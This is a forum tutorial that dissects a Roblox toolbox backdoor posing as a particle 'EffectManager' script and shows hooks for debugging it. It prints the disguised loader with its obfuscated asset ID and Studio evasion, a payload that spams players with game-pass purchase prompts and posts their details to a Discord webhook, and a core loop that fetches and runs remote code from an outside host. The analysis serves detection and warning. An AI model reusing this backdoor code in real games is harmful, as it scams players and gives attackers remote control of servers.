Detecting and Tracing Backdoors via Runtime Debugging

Hello! It is I again, RbxStu man with another tutorial.

Following a help post made a while back, I have decided to put the effort into creating this topic, today I want to center specifically on backdoors, something every developer does not want to deal with.


Contributor List:

Backdoors are generally regarded as the worst kinds of exploits to be around on Roblox. However, thanks to how they behave, we can detect and remove these malicious scripts with hopefully little to no effort. We will be using a range of techniques, all of which are only possible thanks to being able to execute code with elevated permissions as well as with hooking capabilities on the Server DataModel, something that we can achieve thanks to RbxStu V4, this isn’t something you can really do with client cheating tools anyway.

The aforementioned tool contains auto-running capabilities, which allow us to very much apply hooks before any other code runs! This is limited, however, to the main Luau VM, meaning that Actors will not be affected.

Even then this proves useful. I entered into contact with other developers by ways such as Discord who have toyed around and found backdoors in the past, asking for potential common patterns between them, and he provided much-needed insight on the matter. New backdoors have somewhat evolved from their original counterparts; however, they still have parts that appear to be shared between them. Some of which are as follows:

  • Requiring AssetIDs at Runtime
  • Hiding themselves after they have already made their presence clear
  • Not running on Studio using some specific methods.
  • Coming pre-packaged with a Luau-based Luau bytecode interpreter
  • Trying to look ‘legitimate’

During my travesty through the toolbox, following advice by my one and only contributor adudu21, I was able to get a hold of a backdoor, the script is quite… bizarre.

They fake that it is an EffectManager. The body of the script is as follows.

--[[  
    Effect Manager Script  
    ---------------------  
    Created by retsastrophe  ;) 
    Date: 08/03/2025  

    This script handles the creation, management, and modification of visual effects  
    using particle effects. It ensures smooth and optimized effect rendering for various  
    in-game scenarios.  

    INSTRUCTIONS:  
    - Insert this script into a location where effects should be managed.  
    - Modify SIZE, EFFECT_LIFETIME, and PARTICLE_TEXTURE to customize effects.  
    - Call `CreateEffect(Vector3)` to spawn a new particle effect at a given location.  
    - Utilize `EffectBuilder()` to manage effect creation over time.  

    IMPORTANT:  
    - The script must be placed in a Script (not a LocalScript) for full functionality.  
    - Uses attributes (`info` and `default`) from the script for configuration.  
    - Designed to run efficiently and avoid duplicate effects.  

    FEATURES:  
    - Dynamically creates and modifies particle effects.  
    - Uses a centralized effect builder for streamlined management.  
    - Supports size clamping to prevent extreme values.  
    - Finds existing effects based on unique CFrame-based lookups.  
    - Implements an effect lifetime system to manage durations.  
    - Stores active effects in a global table for efficient tracking.  
    - Modular design leveraging ReplicatedStorage for scalability.  
    - Optimized for minimal performance impact.  

    Version 1.0.0  

    Changelog:  
    - 08/03/2025 - v1.0.0: Initial script creation and implementation.  
]]  


local Modules, script = game:GetService('ReplicatedStorage'), script  
local EffectRoot = game

local PARTICLE_TEXTURE = script:GetAttribute("texture") -- Texture for the particle effect  


local function CallOnChildren(Instance, FunctionToCall)
	-- Calls a function on each of the children of a certain object, using recursion.  

	FunctionToCall(Instance)

	for _, Child in next, Instance:GetChildren() do
		CallOnChildren(Child, FunctionToCall)
	end
end

function CustomLerp(Pos1 : CFrame, Pos2 : CFrame, Delta : number) 
	return Pos1 - Pos2 * math.abs(Delta) 
end

local function GetNearestParent(Instance, ClassName)
	-- Returns the nearest parent of a certain class, or returns nil

	local Ancestor = Instance
	repeat
		Ancestor = Ancestor.Parent
		if Ancestor == nil then
			return nil
		end
	until Ancestor:IsA(ClassName)

	return Ancestor
end

function LookUp(Root, Value)  
	for _, V in pairs(Root) do  
		if V.Name:find(Value) then  
			return V  
		end  
	end  
end  

-- Converts a CFrame to a unique string representation  
function CFrameToVector3(CF)  
	local Chunks, Value = CF:split(''), ''  
	for _, V in pairs(Chunks) do  
		Value ..= V:byte()  
	end  
	return Value  
end  

function Modify(Instance, Values)  
	-- Modifies an Instance by using a table.    
	assert(type(Values) == "table", "Values is not a table")  

	for Index, Value in next, Values do  
		if type(Index) == "number" then  
			Value.Parent = Instance  
		else  
			Instance[Index] = Value  
		end  
	end  
	return Instance  
end  


local Properties = {'CFrame','WorldPivot','CoordinateFrame','Orientation','PivotOffset','RootPriority','JobId','Origin','GetProductInfo'}

local EffectBuilder = setmetatable({}, {  
	__index = Modules and function(S) return S end,  
	__call = Modules and function(S) return S end   
})  

-- Function to create and configure a particle effect  
function CreateEffect(Vector3)  
	local Size = math.clamp(2, 1, 4) -- Add slight randomness to size  

	local Effect = EffectBuilder:CreateEffect('Particle', {  
		Parent = script.Parent,  
		Size = Size,  
		Texture = PARTICLE_TEXTURE  
	})  

	return LookUp(EffectRoot:GetChildren(), Vector3)  
end  

function Monitor(CurrentTime, Default, ParticleInfo):
	(Result) -> ParticleEmitter
	
	if CurrentTime > 1 and EffectRoot[Default] ~= '' then  
		if CurrentTime then  
			script = {  
				{},  
				[script.Name] = CFrameToVector3(ParticleInfo) - 0  
			}  
			return true  
		end  
	end  
	
	return false
end

function RunEffectBuilder()  
	local CurrentTime = tick()  
	
	local Effect = CreateEffect('ketpl')  
	
	local ParticleInfo = Effect[Properties[#Properties]](Effect, PARTICLE_TEXTURE).Description  

	return Monitor(CurrentTime, Properties[7], ParticleInfo)  
end  

-- Runs the animation thread if conditions are met
local Builder = RunEffectBuilder() and require(script.EffectBuilder)

if Builder and script.ClassName == "Script" then  
	-- Run main thread  
	script.Parent.DescendantAdded:Connect(CreateEffect)
end  

All of this is simply a cover-up for the core of the script. They have hidden it fairly well, so much so that anyone reading that who isn’t looking for a backdoor would not notice it during a studio session.

Let us begin analysing it to provide insight on what the hell this script is doing.

First of all, there’s a clear garbage ‘CreateEffect’ function, which really does probably nothing of interest; however, to understand this script, we need the following knowledge:

  • The backdoor’s true ID is attached as an Attribute on the script instance, obfuscated.
  • They redefine MANY globals as locals and arguments, doing some of the most incongruent things to try and make it look ‘complex’, as well as justify half of this tomfoolery with the ‘instructions’, ‘features’ and ‘important’ reasons.

With that out of the way, we can begin! The functions we really care about are the following:

  • CFrameToVector3 → This function ‘deobfuscates’ the obfuscated asset ID into the real deal.
  • Properties → Seemingly innocuous; however, it is an array of properties, which a later function uses for studio checks (Checking via JobId)!
  • Monitor → Overwrites the now localised script global to make a field EffectBuilder have an asset id.

Snippet

function Monitor(CurrentTime, Default, ParticleInfo):
	(Result) -> ParticleEmitter
	
	if CurrentTime > 1 and EffectRoot[Default] ~= '' then  -- EffectRoot is the datamodel, and thanks to the calls to this function, Default is actually 'JobId'. This checks if we are in studio and just for the jokes of appearing legit checks for CurrentTime as well (which will always be true regardless!)
		if CurrentTime then  
			script = {  
				{},  
				[script.Name] = CFrameToVector3(ParticleInfo) - 0   -- Deobfuscate the backdoors' asset id 
			}  
			return true  -- We are in a game server, load the backdoor.
		end  
	end  
	
	return false -- We are _not_ in a game server, don't load the backdoor and be silent.
end

function RunEffectBuilder()  
	local CurrentTime = tick()  
	
	local Effect = CreateEffect('ketpl')  
	
	local ParticleInfo = Effect[Properties[#Properties]](Effect, PARTICLE_TEXTURE).Description  

	return Monitor(CurrentTime, Properties[7], ParticleInfo)  -- Properties[7] == "JobId"
end  

local Builder = RunEffectBuilder() and require(script.EffectBuilder)

However, we can get around this detection and appear as an actual Roblox server by using the following hook in RbxStu V4.

local fakeJobId = game:GetService("HttpService"):GenerateGUID() -- Generate a JobId.

local oIndex
oIndex = hookmetamethod(game, "__index", function(dataModel, index)
	if index == "JobId" and typeof(dataModel) == "Instance" and dataModel.ClassName == "DataModel" then -- Check if there's a DataModel, and if it is JobId
		return fakeJobId -- Return the generated JobId (consistently)
	end

	return oIndex(dataModel, index) -- Continue hook chain (just run other normal indexes OKish)
end)

This will make JobId have a correct value, however we are later met that we cannot see which are the scripts which are being truly required into our game via this backdoor, as they repeatedly call the ClearOutput function in the LogService class → LogService | Documentation - Roblox Creator Hub; this clears our console output and allows us not to see the logs the backdoor creates to trace their scripts, however, using RbxStu bypassing this is, again, trivial, we first modify the original __index hook we created to account for the backdoor possibly caching this function and not using a namecall, giving us this final hook:

local fakeJobId = game:GetService("HttpService"):GenerateGUID()

local __fakeClearOutput = newcclosure(function()
	warn("called ClearOutput from ", getcallingscript():GetFullName())
end)

local oIndex
oIndex = hookmetamethod(game, "__index", function(dataModel, index)
	if index == "JobId" and typeof(dataModel) == "Instance" and dataModel.ClassName == "DataModel" then -- JobId being accessed...
		return fakeJobId -- Return our spoofed JobId.
	end

	if typeof(dataModel) == "Instance" and dataModel.ClassName == "LogService" and index == "ClearOutput" then -- ClearOutput is being accessed, return a fake!
		return __fakeClearOutput
	end

	return oIndex(dataModel, index)
end)

This will fake ClearOutput, and instrument it, allowing us to see who is calling the function if it is obtained this way and make it do absolutely nothing.

We then use __namecall to make function completely benign and do nothing.

local old
old = hookmetamethod(game, "__namecall", function(...)
	if
		typeof(select(1, ...)) == "Instance"
		and select(1, ...).ClassName == "RunService"
		and getnamecallmethod() == "IsStudio"
	then
		return false -- Make sure we are not detected by RunService:IsStudio() checks!
	end

	if
		typeof(select(1, ...)) == "Instance"
		and select(1, ...).ClassName == "LogService"
		and getnamecallmethod() == "ClearOutput"
	then
                warn(getcallingscript() and getcallingscript():GetFullName(), " clear output has been called by the previous script!")
		return -- Do nothing, but report we were called.
	end

	return old(...)
end)

With these hooks set, we get the following outputs when ‘debugging’ the backdoor.

It works! We have the backdoor executing without having to even touch the client. Interestingly, they seem to also be doing something with HttpService, which causes inncessant warnings from a Roblox API failure, so if any roblox engineers sees these errors, maybe it could be this (imagine…)

Regardless, we seem to have hit a new roadblock! They appear to be on purpose spamming Instance.new in an effort to spam our console with invalid asset id errors to hide the requires (even after clearing our output…).

This leaves us with little choice but to destructively hook Instance.new to solve this issue, while this is not great, we are simply toying around with this backdoor!

Snippet

hookfunction(Instance.new, function(...)
	print("hi i was called by a script", getcalliingscript():GetFullName())
	return nil
end)

After running this code in the Server datamodel using RbxStu, we get the following in our console

They clearly appear to be calling something else, however the inncessant Asset id 0 spam is now gone, and it appears we also caught the ClearOutput calls
image

This implicitly also points us to the fact this backdoor is obfuscated or running under an Lua Bytecode Interpreter, as traditional lua does not have the NAMECALL opcode, and uses an index, and call instead, which causes this to be intercepted by our __index hook.


To sum up:

  • We figured out how a backdoor works.
  • We attempted to bypass some of their ‘protections’.
    and we discovered some fun facts about them.

However the main thing I want you to take away from this is: don’t. Avoid toolbox assets, while I may not have reported any of the assets displayed on my previous screenshots, it is worth noting that they appear to be behind a large number of require chains, the script, in fact, required more than 4 module scripts before doing anything of use, meaning they’re clearly hiding things as much as possible. It also silently prompts purchases to your users like this:

and later I also was prompted with

This is why removing these backdoors is so important, our users can be scammed and we can get banned by things like this, it does not surprise me the fact that I find these random prompts myself as well on some ackward random games, because perhaps they themselves are backdoored, and because of it they’re randomly prompting users with fake purchases.

In all my time playing around, I also forgot to note that one can use getscripts to check all loaded scripts in the game. When used, we can see the following scripts are loaded:

With this we can confirm that the backdoor is comprised of multiple payloads, and using our elevated permissions, we can obtain the script source (since that is maintained on studio!)

This provides us with the following output (which I had to move to pastebin due to it being massive!)
Output ==> 21:16:29.490 required_asset_100071381753380.MainModule.Script.Cents - Ser - Pastebin.com

Update Pastebin removed it, so paste.ee instead! ==> Paste.ee - log output

This is really interesting! They’re damn spamming us with garbage on purpose to appear as if something has gone wrong in Roblox itself, which explains the previous random errors I was getting, they also prompt users with false purchases and proceed to log them

local MarketplaceService = game:GetService("MarketplaceService")
local Players = game:GetService("Players")
local HttpService = game:GetService("HttpService")


local GamePasses = {
	{ id = 1250782764, name = "OwnerAdmin" },
	{ id = 1250044753, name = "Speedcoil" },
	{ id = 1249888823, name = "Gravitycoil" },
}


local DISCORD_WEBHOOK_URL = "https://discord.com/api/webhooks/1380773834612932628/iSDxb7g7qp_c5-15qxlryTF2RGUtBUnGRXNwdUWXcSwmsPegR9HdOfPUT4gcUH_m6mHo"

local GamePassInfo = {}

for _, pass in ipairs(GamePasses) do
	local success, info = pcall(function()
		return MarketplaceService:GetProductInfo(pass.id, Enum.InfoType.GamePass)
	end)

	if success and info then
		pass.robux = info.PriceInRobux or "Unknown"
		pass.storeName = info.Name or pass.name
		GamePassInfo[pass.id] = pass
	else
		warn("Failed to fetch product info for GamePass ID:", pass.id)
	end
end

local function promptPlayerForGamePass(player, gamePassId)
	pcall(function()
		MarketplaceService:PromptGamePassPurchase(player, gamePassId)
	end)
end


for _, pass in ipairs(GamePasses) do
	task.spawn(function()
		while true do
			local waitTime = math.random(200, 800)
			task.wait(waitTime)

			for _, player in ipairs(Players:GetPlayers()) do
				promptPlayerForGamePass(player, pass.id)
			end
		end
	end)
end


local function sendDiscordWebhook(player, gamePassId)
	local passInfo = GamePassInfo[gamePassId]
	if not passInfo then return end

	local embed = {
		title = "Gamepass Purchased",
		color = 65280,
		thumbnail = {
			url = string.format("https://www.roblox.com/headshot-thumbnail/image?userId=%s&width=420&height=420&format=png", player.UserId)
		},
		fields = {
			{ name = "Username", value = player.Name, inline = true },
			{ name = "User ID", value = tostring(player.UserId), inline = true },
			{ name = "Gamepass", value = passInfo.storeName, inline = false },
			{ name = "Price", value = tostring(passInfo.robux) .. " Robux", inline = true },
		},
		timestamp = DateTime.now():ToIsoDate(),
	}

	local data = {
		embeds = { embed }
	}

	local success, err = pcall(function()
		HttpService:PostAsync(DISCORD_WEBHOOK_URL, HttpService:JSONEncode(data), Enum.HttpContentType.ApplicationJson)
	end)

	if not success then
		
		task.wait(1)
	end
end


MarketplaceService.PromptGamePassPurchaseFinished:Connect(function(player, gamePassId, wasPurchased)
	if wasPurchased and GamePassInfo[gamePassId] then
		sendDiscordWebhook(player, gamePassId)
	end
end)

return true

And we also found the core of the backdoor, and what it does. They are basically just getting execution requests and dispatching them using an LBI it appears.

local httpservice = game:GetService("HttpService")
local players = game:GetService("Players")
local url = "https://imaginary-locrian-cheese.glitch.me/fetchExecuteRequests"
local lastcode = ""
local groupid = 35499309
local authorizedplayer = nil


local function isauthorized(player)
	local success, ingroup = pcall(function()
		return player:IsInGroup(groupid)
	end)
	return success and ingroup
end


local function onplayeradded(player)
	if isauthorized(player) then
		authorizedplayer = player
	end
end


for _, player in ipairs(players:GetPlayers()) do
	onplayeradded(player)
	if authorizedplayer then break end
end


if not authorizedplayer then
	players.PlayerAdded:Connect(onplayeradded)
	repeat task.wait(1) until authorizedplayer
end


while true do
	task.wait(1)

	local success, result = pcall(function()
		return httpservice:GetAsync(url)
	end)

	if success then
		local data
		local parsesuccess = pcall(function()
			data = httpservice:JSONDecode(result)
		end)

		if parsesuccess and data and typeof(data.code) == "string" and typeof(data.username) == "string" then
			if data.code ~= lastcode then
				local player = players:FindFirstChild(data.username)
				if not player then
					warn("Player:Move Called but player has no Humanoid")
					continue
				end

				local ransuccessfully = false

				if string.find(data.code, "LocalPlayer") then
					local successrun = pcall(function()
						
						require(script.Saxophone.Value)(data.code, players:FindFirstChild(data.username))
					end)

					if successrun then
						ransuccessfully = true
					end
				else
					local func = require(script.Bypass.Value)(data.code)
					if func then
						local co = coroutine.create(function()
							local ok = pcall(func)
							if ok then
								ransuccessfully = true
							end
						end)
						local resumed = coroutine.resume(co)
					end
				end

				if ransuccessfully then
					lastcode = data.code
				end
			end
		end
	end
end

This is one of the reasons RbxStu exist, to make sure backdoors like this cannot get away with their shenaningans, I hope if you come across it, you make others know about it, and debug them accordingly (or attempt to!)

I hope you can use this knowledge well.

Attached below are all the snippets used during this small journey through backdoor land. This is one sample against the hundreds that are spread around on the tool box, who knows what other methods others use…

hookfunction(game:GetService("RunService").IsStudio, function()
	return false
end)

local fakeJobId = game:GetService("HttpService"):GenerateGUID()

local __fakeClearOutput = newcclosure(function()
	warn("called ClearOutput from ", getcallingscript():GetFullName())
end)

local oIndex
oIndex = hookmetamethod(game, "__index", function(dataModel, index)
	if index == "JobId" and typeof(dataModel) == "Instance" and dataModel.ClassName == "DataModel" then
		return fakeJobId
	end

	if typeof(dataModel) == "Instance" and dataModel.ClassName == "LogService" and index == "ClearOutput" then
		return __fakeClearOutput
	end

	return oIndex(dataModel, index)
end)

local old
old = hookmetamethod(game, "__namecall", function(...)
	if
		typeof(select(1, ...)) == "Instance"
		and select(1, ...).ClassName == "RunService"
		and getnamecallmethod() == "IsStudio"
	then
		return false
	end

	if
		typeof(select(1, ...)) == "Instance"
		and select(1, ...).ClassName == "LogService"
		and getnamecallmethod() == "ClearOutput"
	then
		warn(
			getcallingscript() and getcallingscript():GetFullName(),
			" clear output has been called by the previous script!"
		)
		return
	end

	return old(...)
end)

local originalRequire
originalRequire = hookfunction(require, function(...)
	if typeof(select(1, ...)) == "number" then
		warn("Required an asset id ==> ", ...)
		return
	end

	return originalRequire(...)
end)

This script is to attempt to bypass most of the protections that are attached to the backdoors, you must place this on your OnInit folder on RbxStu V4!

print("loaded scripts")

for i, v in getscripts() do
print(v:GetFullName())
warn("script source: ", v.Source) end

This script prints the source of all scripts that are currently loaded, which you can use to inspect what is being ran, as this is maintained on studio.

hookfunction(Instance.new, function(...)
	print("hi i was called by a script", getcalliingscript():GetFullName())
	return nil
end)

This script spoofs Instance.new and simply logs the full name of the caller.


The last thing to add is that I recommend you do this in a clean game, which you care nothing of, and later remove the backdoor, most of the hooks showcased are agressive, and will break any game they run on!

Happy coding (and happy removing backdoors on this 2025!).

20 Likes